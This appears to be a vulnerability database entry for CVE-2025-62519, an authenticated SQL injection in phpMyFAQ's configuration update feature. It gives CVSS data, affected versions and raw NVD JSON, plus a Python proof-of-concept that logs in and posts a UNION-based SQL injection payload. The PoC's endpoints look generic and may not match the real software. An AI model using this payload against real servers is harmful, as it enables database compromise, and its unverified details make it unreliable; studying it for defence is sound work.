Security Vulnerability Report
中文
CVE-2025-62519 CVSS 7.2 HIGH

CVE-2025-62519

Published: 2025-11-17 17:15:50
Last Modified: 2026-01-05 19:34:10

Description

phpMyFAQ is an open source FAQ web application. Prior to version 4.0.14, an authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration. This issue has been patched in version 4.0.14.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE
phpMyFAQ < 4.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62519 phpMyFAQ SQL Injection PoC # Target: phpMyFAQ < 4.0.14 # Requirement: Valid account with Configuration Edit permissions import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-url/phpmyfaq" USERNAME = "admin" PASSWORD = "password" def login(session, username, password): """Login to phpMyFAQ and get session cookie""" login_url = f"{TARGET_URL}/ajaxservice.php?action=session" data = { "username": username, "password": password, "submit": "login" } response = session.post(login_url, data=data) return response.status_code == 200 def exploit_sql_injection(session): """Exploit SQL injection in configuration update""" # SQL injection payload - extracts database version # In real exploitation, this would extract sensitive data sql_payload = "' OR 1=1 UNION SELECT version(),user()-- " exploit_url = f"{TARGET_URL}/api/index.php?action=config/update" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Malicious configuration parameter with SQL injection data = { "config_key": "main.title", "config_value": sql_payload } response = session.post(exploit_url, data=data, headers=headers) return response.text def main(): session = requests.Session() print("[*] CVE-2025-62519 phpMyFAQ SQL Injection PoC") print("[*] Target:", TARGET_URL) # Step 1: Login with privileged account print("\n[1] Authenticating with privileged account...") if not login(session, USERNAME, PASSWORD): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit SQL injection print("\n[2] Exploiting SQL injection...") result = exploit_sql_injection(session) print("[+] Response:", result) print("\n[*] PoC execution completed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62519", "sourceIdentifier": "[email protected]", "published": "2025-11-17T17:15:50.400", "lastModified": "2026-01-05T19:34:10.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.0.14, an authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration. This issue has been patched in version 4.0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.14", "matchCriteriaId": "DF708E85-987E-47EF-9052-5E615F13B527"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/compare/4.0.13...4.0.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-fxm2-cmwj-qvx4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}